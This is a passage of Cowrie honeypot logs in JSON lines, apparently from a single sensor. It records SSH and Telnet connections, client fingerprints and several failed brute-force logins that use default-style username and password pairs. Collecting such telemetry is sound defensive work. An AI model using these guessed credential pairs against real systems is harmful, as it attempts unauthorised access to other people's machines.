{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:51.377250Z","src_ip":"176.65.139.103","session":"3e3f28602cbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.709154844284058,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:51.498224Z","src_ip":"23.254.167.244","session":"726d2d63aac3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"mongodb","password":"mongodb","message":"login attempt [mongodb/mongodb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:51.926117Z","src_ip":"176.65.139.103","session":"3e3f28602cbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.990448236465454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:52.182256Z","src_ip":"5.189.169.71","session":"81764ea8a42a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:53.061955Z","src_ip":"176.65.139.103","session":"3e3f28602cbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.73712658882141,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:53.271749Z","src_ip":"23.254.167.244","session":"178d54f4b10d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":44756,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ffd9f73103a","protocol":"telnet","message":"New connection: 23.254.167.244:44756 (159.203.135.109:23) [session: 8ffd9f73103a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:53.279395Z"}
{"eventid":"cowrie.session.closed","duration":30.822505235671997,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:55.197040Z","src_ip":"5.189.169.71","session":"a3246000a4fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67877221107483,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:55.228204Z","src_ip":"5.189.169.71","session":"ae22475d3852","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34479808807373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:56.141894Z","src_ip":"5.189.169.71","session":"ac4c0a195368","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.356780290603638,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:56.146758Z","src_ip":"5.189.169.71","session":"cf0e0cee4268","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55888,"dst_ip":"10.17.0.5","dst_port":23,"session":"65b71420eb62","protocol":"telnet","message":"New connection: 5.189.169.71:55888 (10.17.0.5:23) [session: 65b71420eb62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:57.628068Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55890,"dst_ip":"10.17.0.5","dst_port":23,"session":"28571c40f6d1","protocol":"telnet","message":"New connection: 5.189.169.71:55890 (10.17.0.5:23) [session: 28571c40f6d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:57.822925Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44958,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b6f6bf838c0","protocol":"ssh","message":"New connection: 176.65.139.103:44958 (10.17.0.5:22) [session: 5b6f6bf838c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:57.881816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:57.886762Z","src_ip":"176.65.139.103","session":"5b6f6bf838c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:57.985171Z","src_ip":"176.65.139.103","session":"5b6f6bf838c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.04695415496826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:58.094740Z","src_ip":"5.189.169.71","session":"86efa26cfb86","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:58.246366Z","src_ip":"176.65.139.103","session":"5b6f6bf838c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.89773082733154,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:58.855185Z","src_ip":"23.254.167.244","session":"de810e40e6e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:59.387449Z","src_ip":"176.65.139.103","session":"5b6f6bf838c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.725308418273926,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:00.080112Z","src_ip":"23.254.167.244","session":"7d17110ab95c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.59796476364136,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:01.720929Z","src_ip":"23.254.167.244","session":"13574f75b0dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.83830261230469,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:03.395682Z","src_ip":"23.254.167.244","session":"27097c16ba0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":60530,"dst_ip":"10.17.0.5","dst_port":22,"session":"a83a4882d7a8","protocol":"ssh","message":"New connection: 176.65.139.103:60530 (10.17.0.5:22) [session: a83a4882d7a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:04.459807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:04.489635Z","src_ip":"176.65.139.103","session":"a83a4882d7a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:04.551917Z","src_ip":"176.65.139.103","session":"a83a4882d7a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:05.174860Z","src_ip":"176.65.139.103","session":"a83a4882d7a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.42719030380249,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:06.167384Z","src_ip":"5.189.169.71","session":"45cbb9985e6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:06.263433Z","src_ip":"176.65.139.103","session":"a83a4882d7a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.421371936798096,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:07.249353Z","src_ip":"5.189.169.71","session":"27c79aa9d1c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":37394,"dst_ip":"10.17.0.5","dst_port":23,"session":"d58d52755689","protocol":"telnet","message":"New connection: 5.189.169.71:37394 (10.17.0.5:23) [session: d58d52755689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:08.419175Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38810,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a9352e027fb","protocol":"ssh","message":"New connection: 159.203.92.129:38810 (159.203.135.109:22) [session: 9a9352e027fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:09.699874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:09.704340Z","src_ip":"159.203.92.129","session":"9a9352e027fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:09.708921Z","src_ip":"159.203.92.129","session":"9a9352e027fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anna","password":"123456","message":"login attempt [anna/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:09.719501Z","src_ip":"159.203.92.129","session":"9a9352e027fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":37410,"dst_ip":"10.17.0.5","dst_port":23,"session":"5236c24d8228","protocol":"telnet","message":"New connection: 5.189.169.71:37410 (10.17.0.5:23) [session: 5236c24d8228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:10.149709Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:10.727670Z","src_ip":"159.203.92.129","session":"9a9352e027fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.52651619911194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:11.049545Z","src_ip":"5.189.169.71","session":"09280a06f9a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":33364,"dst_ip":"159.203.135.109","dst_port":23,"session":"4edafc24f5b6","protocol":"telnet","message":"New connection: 23.254.167.244:33364 (159.203.135.109:23) [session: 4edafc24f5b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:11.295336Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":45294,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed221dd0964c","protocol":"ssh","message":"New connection: 20.244.18.126:45294 (10.17.0.5:22) [session: ed221dd0964c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:11.383126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:11.388551Z","src_ip":"20.244.18.126","session":"ed221dd0964c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:11.576926Z","src_ip":"20.244.18.126","session":"ed221dd0964c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":60548,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a68fcac8e49","protocol":"ssh","message":"New connection: 176.65.139.103:60548 (10.17.0.5:22) [session: 9a68fcac8e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:11.765367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:11.771536Z","src_ip":"176.65.139.103","session":"9a68fcac8e49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:11.853255Z","src_ip":"176.65.139.103","session":"9a68fcac8e49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator","message":"login attempt [administrator/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:12.124925Z","src_ip":"176.65.139.103","session":"9a68fcac8e49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dnsadmin","password":"dnsadmin","message":"login attempt [dnsadmin/dnsadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:12.363331Z","src_ip":"20.244.18.126","session":"ed221dd0964c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.492701053619385,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:13.223823Z","src_ip":"5.189.169.71","session":"29dc9904936a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:13.337626Z","src_ip":"176.65.139.103","session":"9a68fcac8e49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:13.554131Z","src_ip":"20.244.18.126","session":"ed221dd0964c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":37412,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b9d8e387bef","protocol":"telnet","message":"New connection: 5.189.169.71:37412 (10.17.0.5:23) [session: 0b9d8e387bef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:14.752674Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":37424,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd4c9c6d9ded","protocol":"telnet","message":"New connection: 5.189.169.71:37424 (10.17.0.5:23) [session: fd4c9c6d9ded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:15.013618Z"}
{"eventid":"cowrie.session.closed","duration":30.79442048072815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:16.086480Z","src_ip":"5.189.169.71","session":"2872d4b591ca","protocol":"telnet"}
